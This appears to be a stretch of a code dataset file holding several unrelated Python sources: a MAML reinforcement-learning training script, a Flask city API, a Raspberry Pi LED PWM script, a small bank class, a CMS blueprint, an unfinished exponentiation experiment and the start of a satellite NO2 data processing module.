'put-key-here'\nproject_name = 'proj-name'\nworkspace = 'workspace'\nexperiment = Experiment(api_key=api_key, project_name=project_name, workspace=workspace)\n\ndef total_rewards(episodes_rewards, gamma, aggregation=torch.mean):\n # discount_matrix = torch.ones(max([rewards.shape[0] for rewards in episodes_rewards]), episodes_rewards[0].shape[1]).to(episodes_rewards[0].device)\n # for i in range(discount_matrix.shape[0]):\n # discount_matrix[i, :] = discount_matrix[i, :] * gamma**i\n # print('RSHAPE:',len(episodes_rewards))\n # print('DMSHAPE:',discount_matrix.shape)\n # for i,rewards in enumerate(episodes_rewards):\n # print (i, rewards.shape)\n # print (rewards)\n # rewards = torch.mean(torch.stack([aggregation(torch.sum(rewards * discount_matrix[:rewards.shape[0], :rewards.shape[1]], dim=0))\n # for rewards in episodes_rewards], dim=0))\n rewards = torch.mean(torch.stack([aggregation(torch.sum(rewards , dim=0))\n for rewards in episodes_rewards], dim=0))\n return rewards.item()\n\n\n\ndef train_meta_learning_model(args):\n # import matplotlib.pyplot as plt\n # import matplotlib.animation as animation\n # from matplotlib import style \n\n # style.use('fivethirtyeight')\n # fig = plt.figure()\n # ax1 = fig.add_subplot(1,1,1) \n # xs = []\n # ys = []\n # def animate(i):\n # ax1.clear()\n # ax1.plot(xs, ys)\n rewards_before_ml = []\n rewards_after_ml = []\n\n continuous_actions = (args.env_name in ['AntVel-v1', 'AntDir-v1',\n 'AntPos-v0', 'HalfCheetahVel-v1', 'HalfCheetahDir-v1',\n '2DNavigation-v0', 'MountainCarContinuousVT-v0'])\n\n # writer = SummaryWriter('./logs/{0}'.format(args.output_folder + '_metalearned'))\n save_folder = './saves/{0}'.format(args.output_folder + '_metalearned')\n if not os.path.exists(save_folder):\n os.makedirs(save_folder)\n with open(os.path.join(save_folder, 'config.json'), 'w') as f:\n config = {k: v for (k, v) in vars(args).items() if k != 'device'}\n config.update(device=args.device.type)\n json.dump(config, f, indent=2)\n\n sampler = BatchSampler(args.env_name, batch_size=args.fast_batch_size,\n num_workers=args.num_workers)\n torch.manual_seed(args.random_seed)\n if continuous_actions:\n policy = NormalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n int(np.prod(sampler.envs.action_space.shape)),\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n else:\n policy = CategoricalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n sampler.envs.action_space.n,\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n baseline = LinearFeatureBaseline(\n int(np.prod(sampler.envs.observation_space.shape)))\n\n #load pretrained model\n cont_from_batch = 0\n if args.start_from_batch != -1:\n metalearned_model = os.path.join(save_folder, 'policy-{0}.pt'.format(args.start_from_batch-1))\n if os.path.exists(metalearned_model):\n policy.load_state_dict(torch.load(metalearned_model))\n cont_from_batch = args.start_from_batch\n\n metalearner = MetaLearner(sampler, policy, baseline, gamma=args.gamma,\n fast_lr=args.fast_lr, tau=args.tau, device=args.device)\n\n for batch in range(cont_from_batch, args.num_batches):\n print ('Currently processing Batch: {}'.format(batch+1))\n\n task_sampling_time = time.time()\n tasks = sampler.sample_tasks(num_tasks=args.meta_batch_size, sampling_type=args.sampling_type, points_per_dim=args.points_per_dim)\n task_sampling_time = time.time() - task_sampling_time\n\n episode_generating_time = time.time()\n episodes = metalearner.sample(tasks, first_order=args.first_order)\n episode_generating_time = time.time() - episode_generating_time\n\n learning_step_time = time.time()\n metalearner.step(episodes, max_kl=args.max_kl, cg_iters=args.cg_iters,\n cg_damping=args.cg_damping, ls_max_steps=args.ls_max_steps,\n ls_backtrack_ratio=args.ls_backtrack_ratio)\n learning_step_time = time.time() - learning_step_time\n\n print ('Tasking Sampling Time: {}'.format(task_sampling_time))\n print ('Episode Generating Time: {}'.format(episode_generating_time))\n print ('Learning Step Time: {}'.format(learning_step_time))\n reward_before_ml = total_rewards([ep.rewards for ep, _ in episodes], args.gamma)\n reward_after_ml = total_rewards([ep.rewards for _, ep in episodes], args.gamma)\n print ('Before Update: {} After Update: {}'.format(reward_before_ml, reward_after_ml))\n # experiment.log_metric(\"Avg Reward Before Update (MetaLearned)\", reward_before_ml)\n experiment.log_metric(\"Avg Reward\", reward_after_ml, batch+1)\n\n rewards_before_ml.append(reward_before_ml)\n rewards_after_ml.append(reward_after_ml)\n # xs.append(batch+1)\n # ys.append(total_rewards([ep.rewards for _, ep in episodes], args.gamma))\n # ani = animation.FuncAnimation(fig, animate, interval=1000)\n # plt.savefig('navg_baseline_monitor')\n # Save policy network\n with open(os.path.join(save_folder,\n 'policy-{0}.pt'.format(batch)), 'wb') as f:\n torch.save(metalearner.policy.state_dict(), f)\n\n # tasks = sampler.sample_tasks(num_tasks=args.meta_batch_size)\n # episodes = metalearner.sample(tasks, first_order=args.first_order)\n # print(\"Avg Reward After Update (MetaLearned)\", total_rewards([ep.rewards for _, ep in episodes], args.gamma))\n\n testing_sampler = BatchSampler(args.env_name, batch_size=args.testing_fbs,\n num_workers=args.num_workers)\n testing_metalearner = MetaLearner(testing_sampler, metalearner.policy, baseline, gamma=args.gamma,\n fast_lr=args.fast_lr, tau=args.tau, device=args.device)\n test_tasks = testing_sampler.sample_tasks(num_tasks=args.testing_mbs, sampling_type='rand', points_per_dim=-1)\n test_episodes = testing_metalearner.sample(test_tasks, first_order=args.first_order, no_update=True)\n test_reward = total_rewards([ep.rewards for ep in test_episodes], args.gamma)\n print('-------------------------------------------------')\n print ('Test Time reward is: ' + str(test_reward))\n print('-------------------------------------------------')\n\n pickle_reward_data_file = os.path.join(save_folder, 'reward_data.pkl')\n with open(pickle_reward_data_file, 'wb') as f:\n pickle.dump(rewards_before_ml, f)\n pickle.dump(rewards_after_ml, f)\n\n pickle_final_reward_file = os.path.join(save_folder, 'final_reward.pkl')\n with open(pickle_final_reward_file, 'wb') as f:\n pickle.dump(test_reward, f)\n\n return\n\n\ndef train_pretrained_model(args):\n continuous_actions = (args.env_name in ['AntVel-v1', 'AntDir-v1',\n 'AntPos-v0', 'HalfCheetahVel-v1', 'HalfCheetahDir-v1',\n '2DNavigation-v0', 'MountainCarContinuousVT-v0'])\n\n # writer = SummaryWriter('./logs/{0}'.format(args.output_folder + '_pretrained'))\n save_folder = './saves/{0}'.format(args.output_folder + '_pretrained')\n if not os.path.exists(save_folder):\n os.makedirs(save_folder)\n with open(os.path.join(save_folder, 'config.json'), 'w') as f:\n config = {k: v for (k, v) in vars(args).items() if k != 'device'}\n config.update(device=args.device.type)\n json.dump(config, f, indent=2)\n\n #batch_size=2*args.fast_batch_size to match the amount of data used in meta-learning\n sampler = BatchSampler(args.env_name, batch_size=2*args.fast_batch_size,\n num_workers=args.num_workers)\n if continuous_actions:\n policy = NormalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n int(np.prod(sampler.envs.action_space.shape)),\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n else:\n policy = CategoricalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n sampler.envs.action_space.n,\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n baseline = LinearFeatureBaseline(\n int(np.prod(sampler.envs.observation_space.shape)))\n\n #load pretrained model\n cont_from_batch = 0\n if args.start_from_batch != -1:\n pretrained_model = os.path.join(save_folder, 'policy-{0}.pt'.format(args.start_from_batch-1))\n if os.path.exists(pretrained_model):\n policy.load_state_dict(torch.load(pretrained_model))\n cont_from_batch = args.start_from_batch\n\n metalearner = MetaLearner(sampler, policy, baseline, gamma=args.gamma,\n fast_lr=args.fast_lr, tau=args.tau, device=args.device)\n\n for batch in range(cont_from_batch, args.num_batches):\n print ('Currently processing Batch: {}'.format(batch+1))\n\n task_sampling_time = time.time()\n tasks = sampler.sample_tasks(num_tasks=args.meta_batch_size)\n task_sampling_time = time.time() - task_sampling_time\n\n episode_generating_time = time.time()\n episodes = metalearner.sample_for_pretraining(tasks, first_order=args.first_order)\n episode_generating_time = time.time() - episode_generating_time\n\n learning_step_time = time.time()\n params = metalearner.adapt(episodes, first_order=args.first_order)\n metalearner.policy.load_state_dict(params, strict=True)\n learning_step_time = time.time() - learning_step_time\n\n print ('Tasking Sampling Time: {}'.format(task_sampling_time))\n print ('Episode Generating Time: {}'.format(episode_generating_time))\n print ('Learning Step Time: {}'.format(learning_step_time))\n\n # Tensorboard\n # writer.add_scalar('total_rewards/before_update',\n # total_rewards([ep.rewards for ep, _ in episodes]), batch)\n # writer.add_scalar('total_rewards/after_update',\n # total_rewards([ep.rewards for _, ep in episodes]), batch)\n # experiment.log_metric(\"Avg Disc Reward (Pretrained)\", total_rewards([episodes.rewards], args.gamma), batch+1)\n\n # Save policy network\n with open(os.path.join(save_folder,\n 'policy-{0}.pt'.format(batch)), 'wb') as f:\n torch.save(metalearner.policy.state_dict(), f)\n\n return\n\ndef k_shot_experiments(args):\n continuous_actions = (args.env_name in ['AntVel-v1', 'AntDir-v1',\n 'AntPos-v0', 'HalfCheetahVel-v1', 'HalfCheetahDir-v1',\n '2DNavigation-v0', 'MountainCarContinuousVT-v0'])\n\n\n sampler = BatchSampler(args.env_name, batch_size=args.fast_batch_size,\n num_workers=args.num_workers)\n if continuous_actions:\n policy_pretrained = NormalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n int(np.prod(sampler.envs.action_space.shape)),\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n policy_metalearned = NormalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n int(np.prod(sampler.envs.action_space.shape)),\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n policy_random = NormalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n int(np.prod(sampler.envs.action_space.shape)),\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n else:\n policy_pretrained = CategoricalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n sampler.envs.action_space.n,\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n policy_metalearned = CategoricalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n sampler.envs.action_space.n,\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n policy_random = CategoricalMLPPolicy(\n int(np.prod(sampler.envs.observation_space.shape)),\n sampler.envs.action_space.n,\n hidden_sizes=(args.hidden_size,) * args.num_layers)\n\n # save_folder_pretrained = './saves/{0}'.format(args.output_folder + '_pretrained')\n # pretrained_model = os.path.join(save_folder_pretrained, 'policy-{0}.pt'.format(args.num_batches-1))\n # policy_pretrained.load_state_dict(torch.load(pretrained_model))\n \n save_folder_metalearned = './saves/{0}'.format(args.output_folder + '_metalearned')\n metalearned_model = os.path.join(save_folder_metalearned, 'policy-{0}.pt'.format(args.num_batches-1))\n policy_metalearned.load_state_dict(torch.load(metalearned_model))\n\n # metalearned_tester = k_shot_tester(args.K_shot_batch_num, policy_metalearned, args.K_shot_batch_size, args.K_shot_num_tasks, 'MetaLearned', args)\n # avg_discounted_returns_metalearned = metalearned_tester.run_k_shot_exp()\n # print('Metalearned KSHOT result: ', avg_discounted_returns_metalearned)\n # print('Mean: ', torch.mean(avg_discounted_returns_metalearned, 0))\n results_folder = './saves/{0}'.format(args.output_folder + '_results')\n if not os.path.exists(results_folder):\n os.makedirs(results_folder)\n kshot_fig_path1 = os.path.join(results_folder, 'kshot_testing')\n # kshot_fig_path2 = os.path.join(results_folder, 'ml_pre_diff')\n result_data_path = os.path.join(results_folder, 'data_')\n\n metalearned_tester = k_shot_tester(args.K_shot_batch_num, policy_metalearned, args.K_shot_batch_size, args.K_shot_num_tasks, 'MetaLearned', args)\n avg_discounted_returns_metalearned = metalearned_tester.run_k_shot_exp()\n # pretrained_tester = k_shot_tester(args.K_shot_batch_num, policy_pretrained, args.K_shot_batch_size, args.K_shot_num_tasks, 'Pretrained', args)\n # avg_discounted_returns_pretrained = pretrained_tester.run_k_shot_exp()\n\n # random_tester = k_shot_tester(args.K_shot_batch_num, policy_random, args.K_shot_batch_size, args.K_shot_num_tasks, 'Random', args)\n # avg_discounted_returns_random = random_tester.run_k_shot_exp()\n\n plt.figure('K Shot: Testing Curves')\n # plt.plot([i for i in range(args.K_shot_batch_num + 1)], avg_discounted_returns_pretrained, color=np.array([0.,0.,1.]), label='Pre-Trained')\n # plt.plot([i for i in range(args.K_shot_batch_num + 1)], avg_discounted_returns_metalearned, color=np.array([0.,1.,0.]), label='Meta-Learned')\n # plt.plot([i for i in range(args.K_shot_batch_num + 1)], avg_discounted_returns_random, color=np.array([0.,0.,0.]), label='Random')\n # plt.errorbar([i for i in range(args.K_shot_batch_num + 1)], torch.mean(avg_discounted_returns_pretrained, 0).tolist(), torch.std(avg_discounted_returns_pretrained, 0).tolist(), color=np.array([0.,0.,1.]), label='Pre-Trained', capsize=5, capthick=2)\n plt.errorbar([i for i in range(args.K_shot_batch_num + 1)], torch.mean(avg_discounted_returns_metalearned, 0).tolist(), torch.std(avg_discounted_returns_metalearned, 0).tolist(), color=np.array([0.,1.,0.]), label='Meta-Learned', capsize=5, capthick=2)\n # plt.errorbar([i for i in range(args.K_shot_batch_num + 1)], torch.mean(avg_discounted_returns_random, 0).tolist(), torch.std(avg_discounted_returns_random, 0).tolist(), color=np.array([0.,0.,0.]), label='Random', capsize=5, capthick=2)\n\n plt.xlabel('Gradient Descent Iteration Number')\n plt.ylabel('Average Discounted Return')\n plt.title('K Shot: Testing Curves')\n plt.legend(loc='upper left')\n plt.savefig(kshot_fig_path1)\n # plt.show()\n\n\n # plt.figure('K Shot: Difference between Metalearned and Pretrained')\n\n # plt.errorbar([i for i in range(args.K_shot_batch_num + 1)], torch.mean(avg_discounted_returns_metalearned-avg_discounted_returns_pretrained, 0).tolist(), torch.std(avg_discounted_returns_metalearned-avg_discounted_returns_pretrained, 0).tolist(), color=np.array([0.,0.,0.]), capsize=5, capthick=2)\n\n # plt.xlabel('Gradient Descent Iteration Number')\n # plt.ylabel('Average Discounted Return Difference')\n # plt.title('K Shot: Difference between Metalearned and Pretrained')\n # plt.savefig(kshot_fig_path2)\n # plt.show()\n\n #save torch tensor results to combine with other experiments\n # torch.save(avg_discounted_returns_pretrained, result_data_path + 'pretrained')\n torch.save(avg_discounted_returns_metalearned, result_data_path + 'metalearned')\n return\n\n\ndef main(args):\n if args.exp_type == 'MAML':\n #Get a starting state using MAML\n train_meta_learning_model(args)\n #Get a starting state using Pretraining\n # train_pretrained_model(args)\n\n if args.exp_type == 'KSHOT':\n k_shot_experiments(args)\n\n return\n\nif __name__ == '__main__':\n import argparse\n import os\n import multiprocessing as mp\n\n parser = argparse.ArgumentParser(description='Reinforcement learning with '\n 'Model-Agnostic Meta-Learning (MAML)')\n\n #Experiment Type\n parser.add_argument('--exp-type', type=str, default='MAML',\n help='Perform Meta Learning including baselines (MAML) or K-shot testing (KSHOT)') \n\n # General Arguments for Meta Learning\n parser.add_argument('--env-name', type=str,\n help='name of the environment')\n parser.add_argument('--gamma', type=float, default=0.95,\n help='value of the discount factor gamma')\n parser.add_argument('--tau', type=float, default=1.0,\n help='value of the discount factor for GAE')\n parser.add_argument('--first-order', action='store_true',\n help='use the first-order approximation of MAML')\n\n # Policy network (relu activation function)\n parser.add_argument('--hidden-size', type=int, default=100,\n help='number of hidden units per layer')\n parser.add_argument('--num-layers', type=int, default=2,\n help='number of hidden layers')\n\n # Task-specific\n parser.add_argument('--fast-batch-size', type=int, default=20,\n help='batch size for each individual task')\n parser.add_argument('--fast-lr', type=float, default=0.5,\n help='learning rate for the 1-step gradient update of MAML')\n\n # Optimization\n parser.add_argument('--num-batches', type=int, default=200,\n help='number of batches')\n parser.add_argument('--meta-batch-size', type=int, default=40,\n help='number of tasks per batch')\n parser.add_argument('--max-kl', type=float, default=1e-2,\n help='maximum value for the KL constraint in TRPO')\n parser.add_argument('--cg-iters', type=int, default=10,\n help='number of iterations of conjugate gradient')\n parser.add_argument('--cg-damping', type=float, default=1e-5,\n help='damping in conjugate gradient')\n parser.add_argument('--ls-max-steps', type=int, default=15,\n help='maximum number of iterations for line search')\n parser.add_argument('--ls-backtrack-ratio', type=float, default=0.8,\n help='maximum number of iterations for line search')\n\n # Miscellaneous\n parser.add_argument('--output-folder', type=str, default='maml',\n help='name of the output folder')\n parser.add_argument('--num-workers', type=int, default=mp.cpu_count() - 1,\n help='number of workers for trajectories sampling')\n parser.add_argument('--device', type=str, default='cpu',\n help='set the device (cpu or cuda)')\n parser.add_argument('--start-from-batch', type=int, default=-1,\n help='start training from this batch number - the model file should exist in save folder')\n\n\n #arguments for organized sampling\n parser.add_argument('--sampling-type', type=str, default='rand',\n help='Type of task sampling to be used: rand|uni')\n parser.add_argument('--points-per-dim', type=int, default=-1,\n help='Points along each dimension (if `uni`)') \n\n\n #final meta-learned model testing params\n parser.add_argument('--testing-mbs', type=int, default=-1,\n help='Number of random tasks to sample for testing final Meta-Learned model')\n parser.add_argument('--testing-fbs', type=int, default=-1,\n help='Number of episodes in each random task to sample for testing final Meta-Learned model') \n\n # General Arguments for K shot testing\n # Note that the exp type should be KSHOT for it\n parser.add_argument('--K-shot-batch-num', type=int, default=5,\n help='K shots for testing')\n parser.add_argument('--K-shot-batch-size', type=int, default=20,\n help='Number of episodes in each batch')\n parser.add_argument('--K-shot-num-tasks', type=int, default=50,\n help='Number of tasks to test over to get variance')\n\n #random seed\n parser.add_argument('--random-seed', type=int, default=47,\n help='Random Seed for torch init of policy network')\n\n args = parser.parse_args()\n\n hyper_params = {\n \"env_name\": args.env_name,\n \"gamma\": args.gamma,\n \"tau\": args.tau,\n \"first_order\": args.first_order,\n \"hidden_size\": args.hidden_size,\n \"num_layers\": args.num_layers,\n \"fast_batch_size\": args.fast_batch_size,\n \"fast_lr\": args.fast_lr,\n \"num_batches\": args.num_batches,\n \"meta_batch_size\": args.meta_batch_size,\n \"max_kl\": args.max_kl,\n \"cg_iters\": args.cg_iters,\n \"cg_damping\": args.cg_damping,\n \"ls_max_steps\": args.ls_max_steps,\n \"ls_backtrack_ratio\": args.ls_backtrack_ratio\n }\n experiment.log_parameters(hyper_params)\n \n # Create logs and saves folder if they don't exist\n if not os.path.exists('./logs'):\n os.makedirs('./logs')\n if not os.path.exists('./saves'):\n os.makedirs('./saves')\n # Device\n args.device = torch.device(args.device\n if torch.cuda.is_available() else 'cpu')\n # Slurm\n if 'SLURM_JOB_ID' in os.environ:\n args.output_folder += '-{0}'.format(os.environ['SLURM_JOB_ID'])\n\n main(args)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"270439662","text":"#!/usr/bin/python3\n\"\"\"module to handle cities views\"\"\"\nfrom api.v1.views import app_views\nfrom models import storage\nfrom flask import jsonify, abort, request, make_response\nfrom models.city import City\nfrom models.state import State\n\n\n@app_views.route('/states/<id>/cities', methods=['GET'])\ndef all_cities(id):\n \"\"\"Gets all cities of an object\n \"\"\"\n state = storage.get(State, id)\n if state is not None:\n dict = storage.all(City)\n list = []\n for city in dict.values():\n if city.state_id == state.id:\n list.append(city.to_dict())\n return jsonify(list)\n abort(404)\n\n\n@app_views.route('/cities/<id>', methods=['GET'])\ndef a_city(id):\n \"\"\"Gets a specified city object\n \"\"\"\n city = storage.get(City, id)\n if city is not None:\n return jsonify(city.to_dict())\n abort(404)\n\n\n@app_views.route('/cities/<id>', methods=['DELETE'])\ndef delete_city(id):\n \"\"\"Deletes a city object\n \"\"\"\n city = storage.get(City, id)\n if city is not None:\n storage.delete(city)\n storage.save()\n return jsonify({})\n abort(404)\n\n\n@app_views.route('/states/<id>/cities', methods=['POST'])\ndef create_city(id):\n \"\"\"Creates a city object\n \"\"\"\n state = storage.get(State, id)\n if state is not None:\n data = request.get_json()\n if data is not None:\n if \"name\" not in data.keys():\n abort(400, description=\"Missing name\")\n city = City(name=data[\"name\"], state_id=state.id)\n storage.new(city)\n storage.save()\n response = make_response(jsonify(city.to_dict()), 201)\n response.headers[\"Content-Type\"] = \"application/json\"\n return response\n abort(400, description=\"Not a JSON\")\n abort(404)\n\n\n@app_views.route('/cities/<id>', methods=['PUT'])\ndef update_city(id):\n \"\"\"Updates city\n \"\"\"\n city = storage.get(City, id)\n if city is not None:\n data = request.get_json()\n if data is not None:\n for key, value in data.items():\n if key not in ['id', 'created_at', 'updated_at', 'state_id']:\n setattr(city, key, value)\n city.save()\n return jsonify(city.to_dict())\n abort(400, description=\"Not a JSON\")\n abort(404)\n","sub_path":"api/v1/views/cities.py","file_name":"cities.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"561964019","text":"#!/usr/bin/env python3\n\nimport pigpio\nimport time\n\nPIN_R = 19\nPIN_G = 26\nPIN_B = 13\nPINS = [PIN_R, PIN_G, PIN_B]\nPWM_RANGE = 1000\nPWM_FREQUENCY = 1000\n\n\ndef ramp_up_and_down(pi, pins):\n for i in range(0, 1000, 2):\n for p in pins:\n pi.set_PWM_dutycycle(p, i)\n time.sleep(0.001)\n\n for i in range(1000, 0, -2):\n for p in pins:\n pi.set_PWM_dutycycle(p, i)\n time.sleep(0.001)\n\n\ndef setup_and_loop():\n\n pi = pigpio.pi()\n\n for pin in PINS:\n pi.set_mode(pin, pigpio.OUTPUT)\n pi.write(pin, 0)\n pi.set_PWM_frequency(pin, PWM_FREQUENCY)\n pi.set_PWM_range(pin, PWM_RANGE)\n pi.set_PWM_dutycycle(pin, 0)\n\n while(1):\n\n for pin in PINS:\n pi.write(pin, 0)\n\n time.sleep(1.0)\n\n ramp_up_and_down(pi, [PIN_R])\n ramp_up_and_down(pi, [PIN_G])\n ramp_up_and_down(pi, [PIN_B])\n ramp_up_and_down(pi, PINS)\n\n\nif __name__ == \"__main__\":\n\n setup_and_loop()\n","sub_path":"Lampi/scripts/lamp_cmd.py","file_name":"lamp_cmd.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"22732942","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'otoniel'\n\nclass Banco:\n\n id_banco = []\n nombre = []\n\n def __init__(self):\n self.id_banco = []\n self.nombre = []\n\n def setIdBanco(self, id_banco):\n self.id_banco.append(id_banco)\n\n def setNombre(self, nombre):\n self.nombre.append(nombre)\n\n def generarDiccionario(self):\n lista = []\n\n registros = len(self.nombre)\n for i in range(0, registros):\n elemento = {}\n\n elemento['id_banco'] = self.id_banco[i]\n elemento['nombre'] = self.nombre[i]\n\n lista.append(elemento)\n\n frecuencia = {\n 'Bancos': lista,\n }\n\n return frecuencia","sub_path":"WebServiceProeza/Banco.py","file_name":"Banco.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"106402401","text":"from flask import (\n Blueprint,\n render_template,\n)\n\nfrom app.cms.models import Banner\n\nmodule = Blueprint('cms', __name__)\n\n\n@module.route('/', methods=['GET'])\ndef main_page():\n banner = Banner.query.filter_by(name='main').first()\n return render_template('cms/index.html', banner=banner)\n","sub_path":"app/cms/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"399907091","text":"##################################################################\n# This assignment is incomplete need to work again\n##################################################################\nimport math\nimport time\n# from decimal import Decimal\nstart = time.time()\n\n\ndef exponentiation(a, b):\n \"\"\"\n Exponentiation by using logarithm\n \"\"\"\n result = a\n f, i = math.modf(math.log2(b))\n f = 2 ** f\n print(i, f)\n for n in range(int(i)):\n result **= 2\n print(result)\n return result ** f\n\n\n# print(exponentiation(3, 999999))\nmy_method = start - time.time()\nprint('My method :', time.time() - start)\n# # print(pow(34567, 99999))\n# # print('In-built method :', time.time() - my_method)\n# # print(math.factorial(2999) ** 0.1)\n# # print('My method :', time.time() - start)\n\n#\n# def bits_of(m):\n# \"\"\"\n# Binary digits of n, from the least significant bit.\n#\n# >>> list(bits_of(11))\n# [1, 1, 0, 1]\n# \"\"\"\n# n=int(m)\n# while n:\n# yield n & 1\n# n >>= 1\n#\n# def fast_exp(x,n):\n# \"\"\"\n# Compute x^n, using the binary expansion of n.\n# \"\"\"\n# result = 1\n# partial = x\n#\n# for bit in bits_of(n):\n# if bit:\n# result *= partial\n# partial **= 2\n# return result\n","sub_path":"Project Code/Fast Exponentiation.py","file_name":"Fast Exponentiation.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"588116381","text":"\nimport pandas as pd\nimport geopandas as gpd\nfrom os import listdir, rename, path, remove\nfrom os.path import isfile, join, getsize\nfrom netCDF4 import Dataset\nimport time\nimport numpy as np\nimport sys\nimport calendar\nimport datetime as dt\nimport requests\nimport re\nfrom socket import timeout\nimport subprocess\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport matplotlib.pyplot as plt\n\n'''\nModule: s5p_no2_tools.py\n============================================================================================\nDisclaimer: The code is for demonstration purposes only. Users are responsible to check for \n accuracy and revise to fit their objective.\n\nnc_to_df adapted from read_tropomi_no2_and_dump_ascii.py by Justin Roberts-Pierel, 2015 \n of NASA ARSET\n Purpose of original code: To print all SDS from an TROPOMI file\n Modified by Vikalp Mishra & Pawan Gupta, May 10 2019 to read TROPOMI data\n Modified by Herman Tolentino, May 8, 2020 to as steps 1 and 2 of pipeline to process \n TROPOMI NO2 data\n============================================================================================\n'''\n\ndef nc_to_df(ncfile):\n \"\"\"\n Purpose: This converts a TROPOMI NO2 file to a Pandas DataFrame.\n\n Notes:\n This was adapted from read_tropomi_no2_and_dump_ascii.py by Justin Roberts-Pierel, 2015 \n of NASA ARSET.\n \n Parameters:\n ncfile: NetCD4 file from Copernicus S5P Open Data Hub\n\n Returns:\n dataframe: data from NetCD4 file\n \"\"\"\n \n try:\n f = open(ncfile, 'r')\n except OSError:\n print('cannot open', ncfile)\n \n \n df = pd.DataFrame()\n \n # read the data\n if 'NO2___' in ncfile and 'S5P' in ncfile:\n tic = time.perf_counter()\n FILENAME = ncfile\n print(ncfile+' is a TROPOMI NO2 file.')\n\n #this is how you access the data tree in an NetCD4 file\n SDS_NAME='nitrogendioxide_tropospheric_column'\n file = Dataset(ncfile,'r')\n grp='PRODUCT' \n ds=file\n grp='PRODUCT'\n lat= ds.groups[grp].variables['latitude'][0][:][:]\n lon= ds.groups[grp].variables['longitude'][0][:][:]\n data= ds.groups[grp].variables[SDS_NAME] \n #get necessary attributes \n fv=data._FillValue\n\n #get scan time and turn it into a vector\n scan_time= ds.groups[grp].variables['time_utc']\n # scan_time=geolocation['Time'][:].ravel()\n\n year = np.zeros(lat.shape)\n mth = np.zeros(lat.shape)\n doy = np.zeros(lat.shape)\n hr = np.zeros(lat.shape)\n mn = np.zeros(lat.shape)\n sec = np.zeros(lat.shape)\n strdatetime = np.zeros(lat.shape)\n\n for i in range(0,lat.shape[0]):\n t = scan_time[0][i].split('.')[0]\n t1 = t.replace('T',' ')\n t2 = dt.datetime.strptime(t,'%Y-%m-%dT%H:%M:%S')\n t3 = t2.strftime(\"%s\")\n #y = t2.year\n #m = t2.month\n #d = t2.day\n #h = t2.hour\n #m = t2.minute\n #s = t2.second\n\n #year[i][:] = y\n #mth[i][:] = m\n #doy[i][:] = d\n #hr[i][:] = h\n #mn[i][:] = m\n #sec[i][:] = s\n strdatetime[i][:] = t3\n vlist = list(file[grp].variables.keys())\n #df['Year'] = year.ravel()\n #df['Month'] = mth.ravel()\n #df['Day'] = doy.ravel()\n #df['Hour'] = hr.ravel()\n #df['Minute'] = mn.ravel()\n #df['Second'] = sec.ravel()\n df['UnixTimestamp'] = strdatetime.ravel()\n df['DateTime'] = pd.to_datetime(df['UnixTimestamp'], unit='s')\n df[['Date','Time']] = df['DateTime'].astype(str).str.split(' ',expand=True)\n # This for loop saves all of the SDS in the dictionary at the top \n # (dependent on file type) to the array (with titles)\n for i in range(0,len(vlist)):\n SDS_NAME=vlist[(i)] # The name of the sds to read\n #get current SDS data, or exit program if the SDS is not found in the file\n #try:\n sds=ds.groups[grp].variables[SDS_NAME]\n if len(sds.shape) == 3:\n print(SDS_NAME,sds.shape)\n # get attributes for current SDS\n if 'qa' in SDS_NAME:\n scale=sds.scale_factor\n else: scale = 1.0\n fv=sds._FillValue\n\n # get SDS data as a vector\n data=sds[:].ravel()\n # The next few lines change fill value/missing value to NaN so \n # that we can multiply valid values by the scale factor, \n # then back to fill values for saving\n data=data.astype(float)\n data=(data)*scale\n data[np.isnan(data)]=fv\n data[data==float(fv)]=np.nan\n\n df[SDS_NAME] = data\n toc = time.perf_counter()\n elapsed_time = toc-tic\n print(\"Processed \"+ncfile+\" in \"+str(elapsed_time/60)+\" minutes\")\n else:\n raise NameError('Not a TROPOMI NO2 file name.')\n\n return df\n\ndef polygon_filter(input_df, filter_gdf):\n \"\"\"\n Purpose: This removes records from the TROPOMI NO2 Pandas DataFrame that\n is not found within the filter polygons\n\n Parameters:\n input_df: Pandas DataFrame containing NO2 data coming from nc_to_df() \n filter_gdf: GeoPandas GeoDataFrame containing geometries to constrain\n NO2 records\n\n Returns:\n geodataframe: Filtered GeoPandas GeoDataFrame\n \"\"\"\n tic = time.perf_counter()\n output_gdf = pd.DataFrame()\n print('Processing input dataframe...')\n crs = filter_gdf.crs\n # 1. Convert input_df to gdf\n gdf1 = gpd.GeoDataFrame(geometry=gpd.points_from_xy(input_df.longitude, input_df.latitude),crs=crs)\n print('Original NO2 DataFrame length:', len(gdf1))\n # 2. Find out intersection between African Countries GeoDataFrames (geometry) and\n # NO2 